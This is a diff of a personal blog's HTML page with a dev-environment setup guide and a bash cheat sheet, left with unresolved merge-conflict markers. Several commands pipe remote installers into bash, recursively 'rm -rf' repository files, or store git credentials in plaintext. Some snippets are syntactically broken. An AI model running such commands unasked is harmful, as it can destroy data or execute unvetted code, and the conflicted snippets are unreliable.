+</li>
+<li><a href="#blog-content">Blog Content:</a></li>
+<li><a href="#bash-cheat-sheet-my-commands">Bash Cheat Sheet (MY COMMANDS)</a><ul>
+<li><a href="#find">Find</a></li>
+</ul>
+</li>
+<li><a href="#to-find-files-by-case-insensitive-extension-ex-jpg-jpg-jpg">To find files by case-insensitive extension (ex: .jpg, .JPG, .jpG)</a></li>
+<li><a href="#to-find-directories">To find directories</a></li>
+<li><a href="#to-find-files">To find files</a></li>
+<li><a href="#to-find-files-by-octal-permission">To find files by octal permission</a></li>
+<li><a href="#to-find-files-with-setuid-bit-set">To find files with setuid bit set</a></li>
+<li><a href="#to-find-files-with-extension-txt-and-remove-them">To find files with extension &#39;.txt&#39; and remove them</a></li>
+<li><a href="#to-find-files-with-extension-txt-and-look-for-a-string-into-them">To find files with extension &#39;.txt&#39; and look for a string into them</a></li>
+<li><a href="#to-find-files-with-size-bigger-than-5-mebibyte-and-sort-them-by-size">To find files with size bigger than 5 Mebibyte and sort them by size</a></li>
+<li><a href="#to-find-files-bigger-than-2-megabyte-and-list-them">To find files bigger than 2 Megabyte and list them</a></li>
+<li><a href="#to-find-files-modified-more-than-7-days-ago-and-list-file-information">To find files modified more than 7 days ago and list file information</a></li>
+<li><a href="#to-find-symlinks-owned-by-a-user-and-list-file-information">To find symlinks owned by a user and list file information</a></li>
+<li><a href="#to-search-for-and-delete-empty-directories">To search for and delete empty directories</a></li>
+<li><a href="#to-search-for-directories-named-build-at-a-max-depth-of-2-directories">To search for directories named build at a max depth of 2 directories</a></li>
+<li><a href="#to-search-all-files-who-are-not-in-git-directory">To search all files who are not in .git directory</a></li>
+<li><a href="#to-find-all-files-that-have-the-same-node-hard-link-as-my_file_here">To find all files that have the same node (hard link) as MY_FILE_HERE</a></li>
+<li><a href="#to-find-all-files-in-the-current-directory-and-modify-their-permissions">To find all files in the current directory and modify their permissions</a></li>
+<li><a href="#wiki-nav">Wiki Nav</a></li>
+<li><a href="#dependencies">Dependencies</a></li>
+<li><a href="#docs-structure">Docs Structure</a><ul>
+<li><a href="#overview">Overview</a></li>
+<li><a href="#syntax">Syntax</a></li>
+<li><a href="#parameters">Parameters</a></li>
+<li><a href="#return-value">Return value</a></li>
+<li><a href="#example">Example</a></li>
+<li><a href="#explanation">Explanation</a></li>
+<li><a href="#output">Output</a></li>
+</ul>
+</li>
+<li><a href="#technoloy">Technoloy</a></li>
+<li><a href="#sourcecode">SOURCECODE</a><ul>
+<li><a href="#overview-1">Overview</a></li>
+<li><a href="#syntax-1">Syntax</a></li>
+<li><a href="#parameters-1">Parameters</a></li>
+<li><a href="#return-value-1">Return value</a></li>
+<li><a href="#example-1">Example</a></li>
+<li><a href="#explanation-1">Explanation</a></li>
+<li><a href="#output-1">Output</a></li>
+</ul>
+</li>
+<li><a href="#source-code">Source Code</a></li>
+<li><a href="#component-structure">Component Structure</a><ul>
+<li><a href="#table-of-contents">Table of Contents</a></li>
+</ul>
+</li>
+<li><a href="#getpage">getPage</a><ul>
+<li><a href="#parameters-2">Parameters</a></li>
+</ul>
+</li>
+<li><a href="#getpagebyfilepath">getPageByFilePath</a><ul>
+<li><a href="#parameters-3">Parameters</a></li>
+</ul>
+</li>
+<li><a href="#getpages">getPages</a><ul>
+<li><a href="#parameters-4">Parameters</a></li>
+<li><a href="#examples">Examples</a><!-- /code_chunk_output -->
+<img src="https://github.com/bgoonz/BGOONZ_BLOG_2.0/blob/master/static/images/blog-may-2022.png?raw=true" alt="preview"></li>
+</ul>
+</li>
+</ul>
+</li>
+</ul>
+<hr>
+</div>
+          <h2 id="useful-commands-internal-use">Useful Commands (internal use</h2>
+          <div><p>)</p>
+<pre><code class="lang-bash">npm i @stackbit/gatsby-plugin-menus babel-runtime chokidar classnames fs-extra gatsby gatsby-image gatsby-plugin-netlify gatsby-plugin-netlify-cms gatsby-plugin-sass gatsby-plugin-react-helmet gatsby-plugin-typescript  --legacy-peer-deps
+git checkout 307a5cd        # check out the commit that you want to reset to
+git checkout -b fixy        # create a branch named fixy to do the work
+git merge -s ours master    # merge master&#39;s history without changing any files
+git checkout master         # switch back to master
+git merge fixy              # and merge in the fixed branch
+git push                    # done, no need to force push!
+</code></pre>
+<hr>
+</div>
+          <h2 id="stable-points">Stable Points</h2>
+          <div><ul>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/0c09a707f4bfddd974a31d97a4f8d716f1858ef8">stable 8-13-2021</a> or <a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/68fba78e36fffcf21288ea0e90e1075bf31b2a82">or maybe</a></li>
+<li><a href="https://github.com/side-projects-42/BGOONZ_BLOG_2.0">Stable September 11</a></li>
+<li><a href="https://github.com/Web-Dev-Collaborative/october-stable">October Stable</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/9ae5da5813cc9b48d2a57c84cd32cf4309078524">November 2021 stable</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/40ecc95f000a848710c39e166961b8da7fca306b">Late November Stable</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/tree/fc4a6ba1d61a3ef0b893cc5a44e41672547a3cc6">December</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/848a8505eece492bfd9856eb63bd4acbee8bced6">Late December</a></li>
+<li><a href="https://deploy-preview-1697--bgoonz-blog.netlify.app/">Late Febuary</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/pull/1447">Late January</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/90f70928a145c8a784899baf62efc2a0d5697bf4">Good stable point</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/c3f30229ac3dcd19ff54798227ce065c216e0c11">Stable March 13th 2022</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/99db7b97282d7190556b2a1b1ac61d6d9c67f970">Stable March 13th 2022</a>
+<a href="https://deploy-preview-2280--bgoonz-blog.netlify.app/docs/tools/">netlify-deploy-preview</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/736d38cdcdd3692d6a3bf1d5485ac2b0a3824d02">May fix</a>
+<a href="https://6272b75c7b3c4c0009cacd01--bgoonz-blog.netlify.app/">https://6272b75c7b3c4c0009cacd01--bgoonz-blog.netlify.app/</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/tree/db4d36067c1483c079389f1bd0e456c473c56710">Syntax hilighting working most recent</a></li>
+<li><a href="https://62b5863dd06870000889c5cf--bgoonz-blog.netlify.app/">FINALLY FIXED</a>
+<a href="https://62b5863dd06870000889c5cf--bgoonz-blog.netlify.app/">https://62b5863dd06870000889c5cf--bgoonz-blog.netlify.app/</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/commit/a6bb13adf39305b7292a88bb1b37bb4bb2e5e76c">Good deploy early Aug</a></li>
+</ul>
+<hr>
+</div>
+          <h2 id="web-dev-setup">Web Dev Setup</h2>
+          <div><details>
+
+<summary>Web Dev Setup</summary>
+</div>
+          <h2 id="basic-web-development-environment-setup">Basic Web Development Environment Setup</h2>
+          <div><h2 id="windows-subsystem-for-linux-wsl-and-ubuntu">Windows Subsystem for Linux (WSL) and Ubuntu</h2>
+<h3 id="basic-web-development-environment-setup">Basic Web Development Environment Setup</h3>
+<h4 id="windows-subsystem-for-linux-wsl-and-ubuntu">Windows Subsystem for Linux (WSL) and Ubuntu</h4>
+<p><figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*aqKP1drNHmNm34zz.jpg" class="graf-image" />
+</figure>Test if you have Ubuntu installed by typing &quot;Ubuntu&quot; in the search box in the bottom app bar that reads &quot;Type here to search&quot;. If you see a search result that reads <strong>&quot;Ubuntu 20.04 LTS&quot;</strong> with &quot;App&quot; under it, then you have it installed.</p>
+<pre><code>1.  In the application search box in the bottom bar, type &quot;PowerShell&quot; to find the application named &quot;Windows PowerShell&quot;
+2.  Right-click on &quot;Windows PowerShell&quot; and choose &quot;Run as administrator&quot; from the popup menu
+3.  In the blue PowerShell window, type the following: `Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux`
+4.  Restart your computer
+5.  In the application search box in the bottom bar, type &quot;Store&quot; to find the application named &quot;Microsoft Store&quot;
+6.  Click &quot;Microsoft Store&quot;
+7.  Click the &quot;Search&quot; button in the upper-right corner of the window
+8.  Type in &quot;Ubuntu&quot;
+9.  Click &quot;Run Linux on Windows (Get the apps)&quot;
+10. Click the orange tile labeled **&quot;Ubuntu&quot;** Note that there are 3 versions in the Microsoft Store… you want the one just entitled &#39;Ubuntu&#39;
+11. Click &quot;Install&quot;
+12. After it downloads, click &quot;Launch&quot;
+13. If you get the option, pin the application to the task bar. Otherwise, right-click on the orange Ubuntu icon in the task bar and choose &quot;Pin to taskbar&quot;
+14. When prompted to &quot;Enter new UNIX username&quot;, type your first name with no spaces
+15. When prompted, enter and retype a password for this UNIX user (it can be the same as your Windows password)
+16. Confirm your installation by typing the command `whoami &#39;as in who-am-i&#39;`followed by Enter at the prompt (it should print your first name)
+17. You need to update your packages, so type `sudo apt update` (if prompted for your password, enter it)
+18. You need to upgrade your packages, so type `sudo apt upgrade` (if prompted for your password, enter it)
+</code></pre><h3 id="git">Git</h3>
+<p>Git comes with Ubuntu, so there&#39;s nothing to install. However, you should configure it using the following instructions.
+Open an Ubuntu terminal if you don&#39;t have one open already.</p>
+<ol>
+<li><blockquote>
+<p>You need to configure Git, so type <code>git config --global user.name &quot;Your Name&quot;</code> with replacing &quot;Your Name&quot; with your real name.</p>
+</blockquote>
+</li>
+<li><blockquote>
+<p>You need to configure Git, so type <code>git config --global user.email your@email.com</code> with replacing &quot;<a href="mailto:your@email.com" class="markup--anchor markup--li-anchor">your@email.com</a>&quot; with your real email.
+<strong>Note: if you want git to remember your login credentials type:</strong>
+git config --global credential.helper store</p>
+</blockquote>
+<h3 id="google-chrome">Google Chrome</h3>
+Test if you have Chrome installed by typing &quot;Chrome&quot; in the search box in the bottom app bar that reads &quot;Type here to search&quot;. If you see a search result that reads &quot;Chrome&quot; with &quot;App&quot; under it, then you have it installed. Otherwise, follow these instructions to install Google Chrome.<h3 id="node-js">Node.js</h3>
+Test if you have Node.js installed by opening an Ubuntu terminal and typing <code>node --version</code>. If it reports &quot;Command &#39;node&#39; not found&quot;, then you need to follow these directions.</li>
+<li><blockquote>
+<p>In the Ubuntu terminal, type <code>sudo apt update</code> and press Enter</p>
+</blockquote>
+</li>
+<li><blockquote>
+<p>In the Ubuntu terminal, type <code>sudo apt install build-essential</code> and press Enter</p>
+</blockquote>
+</li>
+<li><blockquote>
+<p>In the Ubuntu terminal, type <code>curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.2/install.sh | bash</code> and press Enter</p>
+</blockquote>
+</li>
+<li><blockquote>
+<p>In the Ubuntu terminal, type <code>. ./.bashrc</code> and press Enter</p>
+</blockquote>
+</li>
+<li><blockquote>
+<p>In the Ubuntu terminal, type <code>nvm install --lts</code> and press Enter</p>
+</blockquote>
+</li>
+<li><blockquote>
+<p>Confirm that <strong>node</strong> is installed by typing <code>node --version</code> and seeing it print something that is not &quot;Command not found&quot;!</p>
+</blockquote>
+<h3 id="unzip">Unzip</h3>
+You will often have to download a zip file and unzip it. It is easier to do this from the command line. So we need to install a linux unzip utility.
+In the Ubuntu terminal type: <code>sudo apt install unzip</code> and press Enter
+Mocha.js
+Test if you have Mocha.js installed by opening an Ubuntu terminal and typing <code>which mocha</code>. If it prints a path, then you&#39;re good. Otherwise, if it prints nothing, install Mocha.js by typing <code>npm install -g mocha</code>.<h3 id="python-3">Python 3</h3>
+Ubuntu does not come with Python 3. Install it using the command <code>sudo apt install python3</code>. Test it by typing <code>python3 --version</code> and seeing it print a number.<h3 id="note-about-wsl">Note about WSL</h3>
+As of the time of writing of this document, WSL has an issue renaming or deleting files if Visual Studio Code is open. So before doing any linux commands which manipulate files, make sure you <strong>close</strong> Visual Studio Code before running those commands in the Ubuntu terminal.<h3 id="some-other-common-instillations">Some other common instillations</h3>
+<pre><code class="lang-bash"># Installing build essentials
+sudo apt-get install -y build-essential libssl-dev
+# Nodejs and NVM
+curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.2/install.sh | bash
+source ~/.profile
+sudo nvm install 7.10.0
+sudo nvm use 7.10.0
+node -v
+#nodemon
+sudo npm install -g nodemon
+sudo npm install -g loopback-cli
+# Forever to run nodejs scripts forever
+sudo npm install forever -g
+# Git - a version control system
+sudo apt-get update
+sudo apt-get install -y git xclip
+# Grunt - an automated task runner
+sudo npm install -g grunt-cli
+# Bower - a dependency manager
+sudo npm install -g bower
+# Yeoman - for generators
+sudo npm install -g yo
+# maven
+sudo apt-get install maven -y
+# Gulp - an automated task runner
+sudo npm install -g gulp-cli
+# Angular FullStack - My favorite MEAN boilerplate (MEAN = MongoDB, Express, Angularjs, Nodejs)
+sudo npm install -g generator-angular-fullstack
+# Vim, Curl, Python - Some random useful stuff
+sudo apt-get install -y vim curl python-software-properties
+sudo apt-get install -y python-dev, python-pip
+sudo apt-get install -y libkrb5-dev
+# Installing JDK and JRE
+sudo apt-get install -y default-jre
+sudo apt-get install -y default-jdk
+# Archive Extractors
+sudo apt-get install -y unace unrar zip unzip p7zip-full p7zip-rar sharutils rar uudeview mpack arj cabextract file-roller
+# FileZilla - a FTP client
+sudo apt-get install -y filezilla
+</code></pre>
+</details></li>
+</ol>
+<hr>
+<h3 id="documentation-commands-">Documentation Commands:</h3>
+<p>documentation build src/components/DocsMenu.js  -f md&gt; ./notes/DocsMenu.md
+documentation build src/components/Footer.js  -f md&gt; ./notes/Footer.md
+documentation build src/components/Header.js  -f md&gt; ./notes/Header.md
+documentation build src/components/index.js  -f md&gt; ./notes/index.md
+documentation build src/components/SectionContent.js  -f md&gt; ./notes/SectionContent.md
+documentation build src/components/SectionDocs.js  -f md&gt; ./notes/SectionDocs.md
+documentation build src/components/SectionHero.js  -f md&gt; ./notes/SectionHero.md
+documentation build src/components/CtaButtons.js  -f md&gt; ./notes/CtaButtons.md
+documentation build src/components/DocsSubmenu.js  -f md&gt; ./notes/DocsSubmenu.md
+documentation build src/components/FormField.js  -f md&gt; ./notes/FormField.md
+documentation build src/components/Icon.js  -f md&gt; ./notes/Icon.md
+documentation build src/components/Layout.js  -f md&gt; ./notes/Layout.md
+documentation build src/components/SectionCta.js  -f md&gt; ./notes/SectionCta.md
+documentation build src/components/SectionGrid.js  -f md&gt; ./notes/SectionGrid.md
+documentation build src/components/Submenu.js  -f md&gt; ./notes/Submenu.md</p>
+<h2 id="documentation-build-src-components-actionlink-js-f-md-notes-actionlink-md">documentation build src/components/ActionLink.js  -f md&gt; ./notes/ActionLink.md</h2>
+</div>
+          <h2 id="blog-content">Blog Content</h2>
+          <div><h2 id="-">:</h2>
+<hr>
+</div>
+          <h2 id="bash-cheat-sheet-my-commands"> Bash Cheat Sheet (MY COMMANDS</h2>
+          <div><p>)</p>
+<p><details></p>
+<p><summary> Bash Cheat Sheet (MY COMMANDS) &lt;/summary</p>
+</div>
+          <h2 id="1-remove-spaces-from-file-and-folder-names-and-then-remove-numbers-from-files-and-folder-names">1. Remove spaces from file and folder names and then remove numbers from files and folder names</h2>
+          <div><h3 id="description-need-to-sudo-apt-install-rename">Description: need to : <code>sudo apt install rename</code></h3>
+<blockquote>
+<p>Notes: Issue when renaming file without numbers collides with existing file name...</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">find . -name &quot;* *&quot; -type d | rename &#39;s/ /_/g&#39;
+find . -name &quot;* *&quot; -type f | rename &#39;s/ /_/g&#39;
+</code></pre>
+<pre><code class="lang-bash">```bash
+>>>>>>> master
 find $dir -type f | sed &#39;s|\(.*/\)[^A-Z]*\([A-Z].*\)|mv \&quot;&amp;\&quot; \&quot;\1\2\&quot;|&#39; | sh
-
 find $dir -type d | sed &#39;s|\(.*/\)[^A-Z]*\([A-Z].*\)|mv \&quot;&amp;\&quot; \&quot;\1\2\&quot;|&#39; | sh
-
-for i in *.html; do mv &quot;$i&quot; &quot;${i%-*}.html&quot;; done
-
-for i in *.*; do mv &quot;$i&quot; &quot;${i%-*}.${i##*.}&quot;; done
-
+for i in*.html; do mv &quot;$i&quot; &quot;${i%-*}.html&quot;; done
+for i in*.*; do mv &quot;$i&quot; &quot;${i%-*}.${i##*.}&quot;; done
 ---
 ### Description: combine the contents of every file in the contaning directory.
+<<<<<<< HEAD
 
 
 &gt;Notes: this includes the contents of the file it&#39;s self...
@@ -204,15 +683,24 @@ <h4 id="code">code</h4>
 #### code:
 
 
+=======
+&gt;Notes: this includes the contents of the file it&#39;s self...
+###### code:
+>>>>>>> master
 ```js
 //APPEND-DIR.js
 const fs = require(&#39;fs&#39;);
 let cat = require(&#39;child_process&#39;)
+<<<<<<< HEAD
   .execSync(&#39;cat *&#39;)
+=======
+.execSync(&#39;cat*&#39;)
+>>>>>>> master
   .toString(&#39;UTF-8&#39;);
 fs.writeFile(&#39;output.md&#39;, cat, err =&gt; {
   if (err) throw err;
 });
+<<<<<<< HEAD
 
 
 </code></pre>
@@ -262,27 +750,77 @@ <h1 id="generalized">Generalized</h1>
 
 
 CNTX={users|orgs}; NAME={username|orgname}; PAGE=1
+=======
+</code></pre>
+<hr>
+</div>
+          <h2 id="2-download-website-using-wget">2. Download Website Using Wget</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes: ==&gt; sudo apt install wget</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">wget --limit-rate=200k --no-clobber --convert-links --random-wait -r -p -E -e robots=off -U mozilla https://bootcamp42.gitbook.io/python/
+</code></pre>
+<hr>
+</div>
+          <h2 id="3-clean-out-messy-git-repo">3. Clean Out Messy Git Repo</h2>
+          <div><h3 id="description-recursively-removes-git-related-folders-as-well-as-internal-use-files-attributions-in-addition-to-empty-folders">Description: recursively removes git related folders as well as internal use files / attributions in addition to empty folders</h3>
+<blockquote>
+<p>Notes: To clear up clutter in repositories that only get used on your local machine.</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">find . -empty -type d -print -delete
+find . \( -name &quot;.git&quot; -o -name &quot;.gitignore&quot; -o -name &quot;.gitmodules&quot; -o -name &quot;.gitattributes&quot; \) -exec rm -rf -- {} +
+find . \( -name &quot;*SECURITY.txt&quot; -o -name &quot;*RELEASE.txt&quot; -o  -name &quot;*CHANGELOG.txt&quot; -o -name &quot;*LICENSE.txt&quot; -o -name &quot;*CONTRIBUTING.txt&quot; -name &quot;*HISTORY.md&quot; -o -name &quot;*LICENSE&quot; -o -name &quot;*SECURITY.md&quot; -o -name &quot;*RELEASE.md&quot; -o  -name &quot;*CHANGELOG.md&quot; -o -name &quot;*LICENSE.md&quot; -o -name &quot;*CODE_OF_CONDUCT.md&quot; -o -name &quot;*CONTRIBUTING.md&quot; \) -exec rm -rf -- {} +
+</code></pre>
+<hr>
+</div>
+          <h2 id="4-clone-all-of-a-users-git-repositories">4. clone all of a user's git repositories</h2>
+          <div><h3 id="description-clone-all-of-a-user-or-organization-s-git-repositories">Description: clone all of a user or organization&#39;s git repositories</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+</div>
+          <h2 id="generalized">Generalized</h2>
+          <div><pre><code class="lang-bash">CNTX={users|orgs}; NAME={username|orgname}; PAGE=1
+>>>>>>> master
 curl &quot;https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&amp;per_page=100&quot; |
   grep -e &#39;git_url*&#39; |
   cut -d \&quot; -f 4 |
   xargs -L1 git clone
 </code></pre>
+<<<<<<< HEAD
           <h1 id="clone-all-git-user">Clone all Git User</h1>
           <pre><code class="lang-sh">CNTX={users}; NAME={bgoonz}; PAGE=1
+=======
+</div>
+          <h2 id="clone-all-git-user">Clone all Git User</h2>
+          <div><pre><code class="lang-bash">CNTX={users}; NAME={bgoonz}; PAGE=1
+>>>>>>> master
 curl &quot;https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&amp;per_page=200&quot;?branch=master |
   grep -e &#39;git_url*&#39; |
   cut -d \&quot; -f 4 |
   xargs -L1 git clone
+<<<<<<< HEAD
 
 
 </code></pre>
           <h1 id="clone-all-git-organization">Clone all Git Organization</h1>
           <pre><code class="lang-sh">
 CNTX={organizations}; NAME={TheAlgorithms}; PAGE=1
+=======
+</code></pre>
+</div>
+          <h2 id="clone-all-git-organization">Clone all Git Organization</h2>
+          <div><pre><code class="lang-bash">CNTX={organizations}; NAME={TheAlgorithms}; PAGE=1
+>>>>>>> master
 curl &quot;https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&amp;per_page=200&quot;?branch=master |
   grep -e &#39;git_url*&#39; |
   cut -d \&quot; -f 4 |
   xargs -L1 git clone
+<<<<<<< HEAD
 
 
 </code></pre>
@@ -291,6 +829,15 @@ <h1 id="5-git-workflow">5. Git Workflow</h1>
           <h3 id="description">Description</h3>
           <h6 id="code">code</h6>
           <pre><code class="lang-sh">git pull
+=======
+</code></pre>
+<hr>
+</div>
+          <h2 id="5-git-workflow">5. Git Workflow</h2>
+          <div><h3 id="description">Description</h3>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">git pull
+>>>>>>> master
 git init
 git add .
 git commit -m&quot;update&quot;
@@ -301,8 +848,12 @@ <h6 id="code">code</h6>
 git commit -m&quot;update&quot;
 git push -u origin main
 </code></pre>
+<<<<<<< HEAD
           <pre><code class="lang-sh">
 git init
+=======
+<pre><code class="lang-bash">git init
+>>>>>>> master
 git add .
 git commit -m&quot;update&quot;
 git push -u origin bryan-guner
@@ -317,6 +868,7 @@ <h6 id="code">code</h6>
 git commit -m&quot;update&quot;
 git push -u origin preview
 </code></pre>
+<<<<<<< HEAD
           <hr>
           <h1 id="6-recursive-unzip-in-place">6. Recursive Unzip In Place</h1>
           <h3 id="description-recursively-unzips-folders-and-then-deletes-the-zip-file-by-the-same-name">Description:
@@ -330,9 +882,20 @@ <h6 id="code">code</h6>
 
 
 
+=======
+<hr>
+</div>
+          <h2 id="6-recursive-unzip-in-place">6. Recursive Unzip In Place</h2>
+          <div><h3 id="description-recursively-unzips-folders-and-then-deletes-the-zip-file-by-the-same-name">Description: recursively unzips folders and then deletes the zip file by the same name</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">find . -name &quot;*.zip&quot; | while read filename; do unzip -o -d &quot;`dirname &quot;$filename&quot;`&quot; &quot;$filename&quot;; done;
+>>>>>>> master
 find . -name &quot;*.zip&quot; -type f -print -delete
-
 </code></pre>
+<<<<<<< HEAD
           <hr>
           <h1 id="7-git-pull-keeping-local-changes">7. git pull keeping local changes</h1>
           <h3 id="description">Description</h3>
@@ -391,6 +954,52 @@ <h3 id="description">Description</h3>
           </blockquote>
           <h6 id="code">code</h6>
           <pre><code class="lang-sh">sudo apt install tree
+=======
+<hr>
+</div>
+          <h2 id="7-git-pull-keeping-local-changes">7. git pull keeping local changes</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">git stash
+git pull
+git stash pop
+</code></pre>
+<hr>
+</div>
+          <h2 id="8-prettier-code-formatter">8. Prettier Code Formatter</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">sudo npm i prettier -g
+prettier --write .
+</code></pre>
+<hr>
+</div>
+          <h2 id="9-pandoc">9. Pandoc</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">find ./ -iname &quot;*.md&quot; -type f -exec sh -c &#39;pandoc --standalone &quot;${0}&quot; -o &quot;${0%.md}.html&quot;&#39; {} \;
+find ./ -iname &quot;*.html&quot; -type f -exec sh -c &#39;pandoc --wrap=none --from html --to markdown_strict &quot;${0}&quot; -o &quot;${0%.html}.md&quot;&#39; {} \;
+find ./ -iname &quot;*.docx&quot; -type f -exec sh -c &#39;pandoc &quot;${0}&quot; -o &quot;${0%.docx}.md&quot;&#39; {} \;
+</code></pre>
+<hr>
+</div>
+          <h2 id="10-gitpod-installs">10. Gitpod Installs</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">sudo apt install tree
+>>>>>>> master
 sudo apt install pandoc -y
 sudo apt install rename -y
 sudo apt install black -y
@@ -398,6 +1007,7 @@ <h6 id="code">code</h6>
 npm i lebab -g
 npm i prettier -g
 npm i npm-recursive-install -g
+<<<<<<< HEAD
 
 
 </code></pre>
@@ -425,20 +1035,45 @@ <h3 id="description">Description</h3>
           <h6 id="code">code</h6>
           <pre><code class="lang-sh">tree -d -I  &#39;node_modules&#39;
 
+=======
+</code></pre>
+<pre><code class="lang-bash">black .
+prettier --write .
+npm-recursive-install
+</code></pre>
+<hr>
+</div>
+          <h2 id="11-repo-utils-package">11. Repo Utils Package</h2>
+          <div><h3 id="description-my-standard-repo-utis-package">Description: my standard repo utis package</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">npm i @bgoonz11/repoutils
+</code></pre>
+<hr>
+</div>
+          <h2 id="12-unix-tree-package-usage">12. Unix Tree Package Usage</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">tree -d -I  &#39;node_modules&#39;
+>>>>>>> master
 tree  -I  &#39;node_modules&#39;
-
 tree -f  -I  &#39;node_modules&#39; &gt;TREE.md
-
 tree -f -L 2  &gt;README.md
-
 tree -f  -I  &#39;node_modules&#39; &gt;listing-path.md
+<<<<<<< HEAD
 
 
+=======
+>>>>>>> master
 tree -f  -I  &#39;node_modules&#39; -d &gt;TREE.md
-
 tree -f &gt;README.md
-
 </code></pre>
+<<<<<<< HEAD
           <hr>
           <h1 id="13-find-replace-string-in-file-folder-names-recursively">13. Find &amp; Replace string in file &amp;
             folder names recursively</h1>
@@ -483,32 +1118,62 @@ <h6 id="code">code</h6>
           <pre><code class="lang-sh">#!/bin/bash
 
 for file in *.md.md
+=======
+<hr>
+</div>
+          <h2 id="13-find-replace-string-in-file-folder-names-recursively">13. Find &amp; Replace string in file &amp; folder names recursively</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">find . -type f -exec rename &#39;s/string1/string2/g&#39; {} +
+find . -type d -exec rename &#39;s/-master//g&#39; {} +
+find . -type f -exec rename &#39;s/\.download//g&#39; {} +
+find . -type d -exec rename &#39;s/-main//g&#39; {} +
+rename &#39;s/\.js\.download$/.js/&#39;*.js\.download
+rename &#39;s/\.html\.markdown$/.md/&#39; *.html\.markdown
+find . -type d -exec rename &#39;s/es6//g&#39; {} +
+</code></pre>
+<hr>
+</div>
+          <h2 id="14-remove-double-extensions">14. Remove double extensions</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash"># !/bin/bash
+for file in*.md.md
+>>>>>>> master
 do
     mv &quot;${file}&quot; &quot;${file%.md}&quot;
 done
-
-#!/bin/bash
-
+# !/bin/bash
 for file in *.html.html
 do
     mv &quot;${file}&quot; &quot;${file%.html}&quot;
 done
 </code></pre>
+<<<<<<< HEAD
           <pre><code class="lang-sh">
 
 #!/bin/bash
 
 for file in *.html.png
+=======
+<pre><code class="lang-bash"># !/bin/bash
+for file in*.html.png
+>>>>>>> master
 do
     mv &quot;${file}&quot; &quot;${file%.png}&quot;
 done
-
 for file in *.jpg.jpg
 do
     mv &quot;${file}&quot; &quot;${file%.png}&quot;
 done
-
 </code></pre>
+<<<<<<< HEAD
           <hr>
           <h1 id="15-truncate-folder-names-down-to-12-characters">15. Truncate folder names down to 12 characters</h1>
           <h3 id="description">Description</h3>
@@ -529,12 +1194,34 @@ <h3 id="description-combine-the-contents-of-every-file-in-the-contaning-director
           </blockquote>
           <h6 id="code">code</h6>
           <pre><code class="lang-js">//APPEND-DIR.js
+=======
+<hr>
+</div>
+          <h2 id="15-truncate-folder-names-down-to-12-characters">15. Truncate folder names down to 12 characters</h2>
+          <div><h3 id="description-truncate-folder-names-down-to-12-characters">Description: Truncate folder names down to 12 characters</h3>
+<blockquote>
+<p>Notes: Truncate folder names down to 12 characters</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">for d in ./*; do mv $d ${d:0:12}; done
+</code></pre>
+<hr>
+</div>
+          <h2 id="16-appendir-js">16.Appendir.js</h2>
+          <div><h3 id="description-combine-the-contents-of-every-file-in-the-contaning-directory">Description: combine the contents of every file in the contaning directory</h3>
+<blockquote>
+<p>Notes: this includes the contents of the file it&#39;s self...</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-js">//APPEND-DIR.js
+>>>>>>> master
 const fs = require(&#39;fs&#39;);
 let cat = require(&#39;child_process&#39;).execSync(&#39;cat *&#39;).toString(&#39;UTF-8&#39;);
 fs.writeFile(&#39;output.md&#39;, cat, (err) =&gt; {
     if (err) throw err;
 });
 </code></pre>
+<<<<<<< HEAD
           <hr>
